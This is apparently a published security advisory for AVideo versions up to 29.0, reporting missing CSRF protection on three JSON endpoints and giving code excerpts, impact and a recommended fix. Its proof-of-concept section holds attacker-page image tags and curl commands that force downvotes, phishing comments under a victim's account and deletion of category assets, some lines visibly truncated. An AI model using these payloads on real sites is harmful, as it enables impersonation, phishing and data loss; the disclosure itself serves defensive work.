AVideo: Missing CSRF Protection on State-Changing JSON Endpoints Enables Forced Comment Creation, Vote Manipulation, and Category Asset Deletion

Moderate **DanielnetoDotCom** published **GHSA-x2pw-9c38-cp2j** last week

Package

php **wwbn/avideo** (Composer)

Affected versions

<= 29.0

Patched versions

None

Description

Summary

Multiple AVideo JSON endpoints under `objects/` accept state-changing requests via `$_REQUEST` / `$_GET` and persist changes tied to the caller's session user, without any anti-CSRF token, origin check, or referer check. A malicious page visited by a logged-in victim can silently:

1. Cast/flip the victim's like/dislike on any comment (`objects/comments_like.json.php`).
2. Post a comment authored by the victim on any video, with attacker-chosen text (`objects/commentAddNew.json.php`).
3. Delete assets from any category (`objects/categoryDeleteAssets.json.php`) when the victim has category management rights.

Each endpoint is reachable from a browser via a simple `<img src="…">` tag or form submission, so exploitation only requires the victim to load an attacker-controlled HTML resource.

Details

AVideo exposes a helper, `forbidIfIsUntrustedRequest()` (`objects/functionsSecurity.php:138`), that rejects cross-origin requests when the `Referer` / `Origin` does not match `webSiteRootURL`. It is only invoked in one file in the tree — `objects/userUpdate.json.php:18` — and is *not* applied to the endpoints below. There is also an `isGlobalTokenValid()` helper (`objects/functions.php:2313`) intended for CSRF-style token checks; none of the affected endpoints call it. `allowOrigin()` only sets CORS response headers and does not prevent cookie-bearing top-level or image requests from reaching the server.

1. `objects/comments_like.json.php` — CSRF → forced like/dislike

```
// objects/comments_like.json.php
15: if (empty($_POST['comments_id']) && !empty($_GET['comments_id'])) {
16:     $_POST['comments_id'] = $_GET['comments_id'];
17: }
18:
19: $like = new CommentsLike($_GET['like'], $_POST['comments_id']);
20: echo json_encode(CommentsLike::getLikes($_POST['comments_id']));
```

The endpoint deliberately promotes `$_GET['comments_id']` to `$_POST['comments_id']` so the call works for either verb. `CommentsLike::__construct` (`objects/comments_like.php:18`) reads `User::getId()`, calls `load()` to fetch any prior vote, then `setLike()` + `save()` — issuing an `INSERT` / `UPDATE` on `comments_likes` keyed to the session user (`objects/comments_like.php:70-89`). There is no token check and no origin check.

2. `objects/commentAddNew.json.php` — CSRF → forced comment posting

```
// objects/commentAddNew.json.php
34: if (!User::canComment()) {
35:     $obj->msg = __("Permission denied");
36:     die(json_encode($obj));
37: }
...
117: $objC = new Comment($_REQUEST['comment'], $_REQUEST['video']);
118: $objC->setComments_id_pai($_REQUEST['comments_id']);
...
124: $obj->comments_id = $objC->save();
```

All inputs come from `$_REQUEST`, so GET is fully supported. The only gate is `User::canComment()`, which is true for ordinary logged-in users. `isCommentASpam()` (lines 39–97) is a per-session rate limiter, not a CSRF defense — it accounts the victim's own session bucket, so it does not block a single forged write. The comment is persisted under the victim's `users_id` via `$objC->save()`.

3. `objects/categoryDeleteAssets.json.php` — CSRF → forced deletion of category assets

```
// objects/categoryDeleteAssets.json.php
14: $obj->id = intval(@$_REQUEST['id']);
15:
16: if (!Category::canCreateCategory()) {
17:     $obj->msg = __("Permission denied");
18:     die(json_encode($obj));
19: }
20:
21: if (!Category::deleteAssets($obj->id)) {
22:     $obj->error = false;
23: ...
```

State-destroying operation reachable by GET with no CSRF defense. The attacker can enumerate category ids with a loop of `<img>` tags — every one fires a credentialed request.

Root cause (shared)

All three endpoints follow the same pattern: `objects/*.json.php` handler that (a) reads mutating parameters from `$_REQUEST` / `$_GET`, (b) performs authorization against the victim's session, and (c) writes to the database — without calling `forbidIfIsUntrustedRequest()`, without validating a CSRF token, and without any `SameSite` mitigation in the session cookie set by AVideo's auth layer. Any logged-in victim loading an attacker-controlled HTML resource is sufficient.

PoC

Preconditions: attacker controls a page the victim loads while logged into the target AVideo instance. Cookies are sent by default on cross-site `<img>`/top-level GETs.

Variant A — comments_like.json.php (force a downvote on comment id 10)

Attacker page:

```
<img src="https://victim.example.com/objects/comments_like.json.php?like=-1&commen =
```

Manual verification:

```
curl -b 'PHPSESSID=<victim-session>' \
  'https://victim.example.com/objects/comments_like.json.php?like=-1&comments_id=1
# → {"comments_id":10,"likes":...,"dislikes":...,"myVote":-1}
# Row inserted/updated in `comments_likes` with users_id = victim.
```

Variant B — commentAddNew.json.php (force victim to post a phishing comment on video 123)

Attacker page:

```
<img src="https://victim.example.com/objects/commentAddNew.json.php?comment=Check+
```

Manual verification:

```
curl -b 'PHPSESSID=<victim-session>' \
  'https://victim.example.com/objects/commentAddNew.json.php?comment=phish&video=1
# → {"error":false,"comments_id":<id>,"msg":"Your comment has been saved!",...}
```

Variant C — categoryDeleteAssets.json.php (force a category admin to delete assets on category 1)

Attacker page (enumerate several ids):

```
<img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=1">
<img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=2">
<img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=3">
```

Manual verification:

```
curl -b 'PHPSESSID=<category-admin-session>' \
  'https://victim.example.com/objects/categoryDeleteAssets.json.php?id=1'
# → {"error":false,"msg":"","id":1}
# Assets for category 1 are removed.
```

Impact

- **Integrity of social signals:** Attackers can flip any logged-in user's likes/dislikes to upvote attacker comments or downvote legitimate comments at scale (driven by whichever users visit the attacker page). Because the endpoint accepts `like=-1|0|1`, arbitrary vote states can be forced.
- **Identity abuse via forced comments:** An attacker can cause any logged-in user with comment permission to "post" attacker-controlled text on any video. This enables impersonation, phishing link injection under a trusted account, harassment of third parties in a victim's name, and (if the victim is a moderator/admin) endorsement-shaped content in a privileged voice.
- **Data loss:** Any user with `canCreateCategory()` who visits an attacker page can be made to silently delete assets belonging to arbitrary categories. Since category ids are small integers, a loop of `<img>` tags can cover the full category space in one page load.

No special configuration is required; AVideo's default session cookie lacks a `SameSite=Lax/Strict` protection that would independently blunt the attack, and none of the affected endpoints verifies origin or token.

Recommended Fix

1. Call the existing `forbidIfIsUntrustedRequest()` helper at the top of every mutating `objects/*.json.php` handler (the same pattern already used in `objects/userUpdate.json.php`):

```
// objects/comments_like.json.php (add near line 9)
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
forbidIfIsUntrustedRequest();

// objects/commentAddNew.json.php (add after configuration.php include)
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
forbidIfIsUntrustedRequest();

// objects/categoryDeleteAssets.json.php (add after configuration.php include)
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
forbidIfIsUntrustedRequest();
```

2. Require `$_SERVER['REQUEST_METHOD'] === 'POST'` (or `DELETE`) for state-changing operations and stop promoting `$_GET['comments_id']` → `$_POST['comments_id']` in `comments_like.json.php:15-17`.

3. Validate a per-session CSRF token on all mutating endpoints using the existing `isGlobalTokenValid()` / `getToken()` helpers (`objects/functions.php:2313`), rejecting requests whose `globalToken` is missing or invalid.

4. As defense in depth, set the session cookie with `SameSite=Lax` (or `Strict`) in the AVideo session initialization, so cross-site navigational GETs do not carry the session cookie even if a handler regresses.

Applying (1) alone closes all three reported variants; (2)–(4) harden the surface against variants of the same pattern in other `objects/*.json.php` handlers.

Severity

Moderate 5.4 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None

User interaction	Required
Scope	Unchanged
Confidentiality	None
Integrity	Low
Availability	Low

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

CVE ID

CVE-2026-40928

Weaknesses

▶ CWE-352

Credits

offset Reporter